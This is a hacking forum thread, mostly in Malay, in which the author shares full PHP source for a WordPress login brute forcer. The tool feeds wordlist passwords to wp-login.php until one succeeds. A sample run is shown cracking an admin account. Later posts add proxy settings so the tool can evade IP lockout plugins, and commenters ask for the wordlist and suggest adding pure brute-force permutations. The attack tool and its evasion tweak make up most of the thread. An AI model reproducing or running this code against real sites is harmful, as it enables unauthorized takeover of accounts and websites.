Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Wordpress Login Brute Forcer
01-12-2010, 02:57 AM,
Post: #1
Wordpress Login Brute Forcer
PHP Code:
<?php
/**
 * Author: Ahlspiess
 * Description: Wordpress Login Brute Forcer
 *
 * Written under PHP 5.2.14 WinXP SP3
 **/
 
class WPBruteForcer {
    
    var 
$debug true;
    var 
$useproxy false;
    var 
$proxyip '127.0.0.1';
    var 
$proxyport '1111';
    var 
$regex "/\<strong\>ERROR\<\/strong\>/";
    var 
$field "log=%s&pwd=%s&wp-submit=Log In&redirect_to=%s/wp-admin/&testcookie=1";
    var 
$file "/wp-login.php";
    var 
$user$wordlist$site$path$fullurl$connection;
    
    function 
__construct() {
        global 
$argv$argc;
        
$this->e("+----------------------------------------------------+");
        
$this->e("| php {$argv[0]} <username> <wordlist> <site> <path>  ");
        
$this->e("| Example:                                            ");
        
$this->e("| php {$argv[0]} admin pass.txt www.site.com /blog/   ");
        
$this->e("| php {$argv[0]} admin pass.txt blog.site.com /       ");
        
$this->e("+----------------------------------------------------+");
        if(
$argc 4)
            {
                die(
"Invalid Argument!");
            }
            else
            {
                
$this->Setup();
                
$this->CheckWordlist();
                
$this->Start();
            }
    }
    
    function 
Start() {
        if(
$this->debug)
            {
                
$this->Debug();
            }
        
$fopen fopen($this->wordlist"r");
        while(!
feof($fopen))
            {
                
$p rtrim(fgets($fopen));
                
$this->connection $this->HTTP($p);
                if(
preg_match("/200 OK/"$this->connection))
                    {
                        if(!
preg_match($this->regex$this->connection))
                            {
                                die(
"+------------------------------------+\n".
                                    
"| Login Success!!\n".
                                    
"| User: {$this->user}\n".
                                    
"| Pass: {$p}\n".
                                    
"+------------------------------------+\n");
                            }
                    }
                    else
                    {
                        die(
"Website down?");
                    }
                if(
$this->debug)
                    {
                        
$this->e("[Debug] Testing {$this->user}:{$p}");
                    }
                @
unlink(dirname(__FILE__).'/wp-cookie.dat');
            }
    }
    
    function 
Debug() {
        
$this->e('[Debug] $this->user = '.$this->user);
        
$this->e('[Debug] $this->wordlist = '.$this->wordlist);
        
$this->e('[Debug] $this->site = '.$this->site);
        
$this->e('[Debug] $this->path = '.$this->path);
        
$this->e('[Debug] $this->fullurl = '.$this->fullurl);
        return;
    }
    
    function 
Setup() {
        global 
$argv$argc;
        
$this->user $argv[1];
        
$this->wordlist $argv[2];
        
$this->site $argv[3];
        
$this->path $argv[4];
        if(!
preg_match("/http(s?):\/\//"$this->site))
            {
                
$this->site "http://".$this->site."/";
            }
        
$this->fullurl $this->site.$this->path;
        return;
    }
    
    function 
CheckWordlist() {
        if(!
file_exists($this->wordlist))
            {
                die(
"Wordlist file doesn't exist!");
            }
    }
    
    function 
HTTP($p) {
        
$ch curl_init();
        if(
$this->useproxy)
            {
                
curl_setopt($chCURLOPT_PROXY$this->proxyip);
                
curl_setopt($chCURLOPT_PROXYPORT$this->proxyport);
            }
        
curl_setopt($chCURLOPT_HEADER1);
        
curl_setopt($chCURLOPT_TIMEOUT15);
        
curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
curl_setopt($chCURLOPT_SSL_VERIFYPEER0);
        
curl_setopt($chCURLOPT_URL$this->fullurl.$this->file);
        
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729; .NET4.0E)");
        
curl_setopt($chCURLOPT_COOKIEJARdirname(__FILE__).'/wp-cookie.dat');
        
curl_setopt($chCURLOPT_COOKIEFILEdirname(__FILE__).'/wp-cookie.dat');
        
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
        
curl_setopt($chCURLOPT_POST1);
        
curl_setopt($chCURLOPT_POSTFIELDSsprintf($this->field$this->user$p$this->site));
        
$data curl_exec($ch);
        if(
$data) {
            return 
$data;
        } else {
            return 
0;
        }
    }
    
    function 
e($x) {
        print(
$x."\n");
    }
}

$wpbf = new WPBruteForcer();
?>

Note:
run menggunakan PHP Cli, bukan web browser.
Download PHP --> http://www.php.net/downloads.php

Ni Contoh GayFace
Code:
Ahlspiess>php wpbf.php admin common.txt localhost /wordpress/
+----------------------------------------------------+
| php wpbf.php <username> <wordlist> <site> <path>
| Example:
| php wpbf.php admin pass.txt www.site.com /blog/
| php wpbf.php admin pass.txt blog.site.com /
+----------------------------------------------------+
[Debug] $this->user = admin
[Debug] $this->wordlist = common.txt
[Debug] $this->site = http://localhost/
[Debug] $this->path = /wordpress/
[Debug] $this->fullurl = http://localhost//wordpress/
[Debug] Testing admin:1234567
[Debug] Testing admin:12345678
[Debug] Testing admin:abc123
[Debug] Testing admin:nicole
[Debug] Testing admin:daniel
[Debug] Testing admin:babygirl
[Debug] Testing admin:monkey
[Debug] Testing admin:lovely
[Debug] Testing admin:jessica
[Debug] Testing admin:654321
[Debug] Testing admin:michael
[Debug] Testing admin:qwerty
[Debug] Testing admin:111111
[Debug] Testing admin:ashley
[Debug] Testing admin:000000
[Debug] Testing admin:iloveu
[Debug] Testing admin:michelle
[Debug] Testing admin:tigger
[Debug] Testing admin:sunshine
[Debug] Testing admin:chocolate
+------------------------------------+
| Login Success!!
| User: admin
| Pass: qwe123
+------------------------------------+
puas sudah menanam ubi, nenas juga dibeli orang, puas sudah aku berbakti, pengganas juga dipandang orang

Quote:A true warrior need blood on his sword; A true pirate never afraid to sail the red sea.
Reply
01-12-2010, 03:33 AM,
Post: #2
RE: Wordpress Login Brute Forcer
blogspot xde ke ahls?? ;d
[ SHARING IS CARING ] Big Grin [ KNOWLEDGE ARE INFINITY ]
Reply
01-12-2010, 07:52 AM,
Post: #3
RE: Wordpress Login Brute Forcer
tmbh option untuk proxy in case wordpress tu pkai plugin untk lock out after certain failed login attempt (biasanya ip base dia lock) GayFace
[̲̅ə̲̅٨̲̅٥̲̅٦̲̅]
i ℓ٥ﻻ ﻉ√٥υ F٥rﻉ√ﻉr ღ
|_|0|_|
|_|_|0|
|0|0|0|
http://jonhburn2.freehostia.com/lol.txt
Reply
01-12-2010, 08:15 AM,
Post: #4
RE: Wordpress Login Brute Forcer
(01-12-2010, 07:52 AM)johnburn Wrote: tmbh option untuk proxy in case wordpress tu pkai plugin untk lock out after certain failed login attempt (biasanya ip base dia lock) GayFace
ok da GayFace

kalau nak guna proxy,
cari
PHP Code:
    var $useproxy false;
    var 
$proxyip '127.0.0.1';
    var 
$proxyport '1111'

tukar jadi
PHP Code:
    var $useproxy true;
    var 
$proxyip 'ip proxy korg';
    var 
$proxyport 'port proxy korg'
puas sudah menanam ubi, nenas juga dibeli orang, puas sudah aku berbakti, pengganas juga dipandang orang

Quote:A true warrior need blood on his sword; A true pirate never afraid to sail the red sea.
Reply
08-02-2011, 11:10 PM,
Post: #5
RE: Wordpress Login Brute Forcer
tenkiu ahls... bg skali wordlist yang hang ada....
Reply
09-02-2011, 09:32 AM,
Post: #6
RE: Wordpress Login Brute Forcer
nice...thnx land lord.....
Reply
09-02-2011, 10:40 AM,
Post: #7
RE: Wordpress Login Brute Forcer
nice bro! \m/
Reply
27-07-2011, 09:29 AM,
Post: #8
RE: Wordpress Login Brute Forcer
script ni dah cukup baik dah. skarang ni features dia lebih kepada dictionary attack. lagi cantik kalo Ahlspiess bleh tambahkan features pure brute force attack yg aplikasikan combination & permutation. memang dari segi performance, bnda alah tu x brape cantik... cuma, kalo terdesak; memang bnda alah tu yg kita perlukan. Smile sekadar cadangan...
Reply
27-07-2011, 10:45 AM,
Post: #9
RE: Wordpress Login Brute Forcer
cit..kena tukar password aku pasni password yg kena sama ngn password kegemaran aku..ada dalam wordlist alphiess.. Lulz
However near and dear you are with wife, children, friends, families they are not you; they are outside of you. The inside of you says who is near. If nothing is said than you are foreveralone. Raise your iman and you shall not be foreveralone.
Reply
27-07-2011, 11:58 AM,
Post: #10
RE: Wordpress Login Brute Forcer
thank you master.
POWERFUL HACKER IS A BRAIN.
Reply
27-07-2011, 02:04 PM,
Post: #11
RE: Wordpress Login Brute Forcer
rajin ko karang benda ni
hehe
aku guna wordpress. does that mean blog aku dah tak secure omg
[Image: 2819320332_zps3a75fe14.png]
[Image: 8df84e84.gif]

Reply


Possibly Related Threads...
Thread Author Replies Views Last Post
  [PERL] SQL-PwnZ | Login-Root devilmary 9 4,875 28-07-2010, 07:40 PM
Last Post: johnburn

Forum Jump: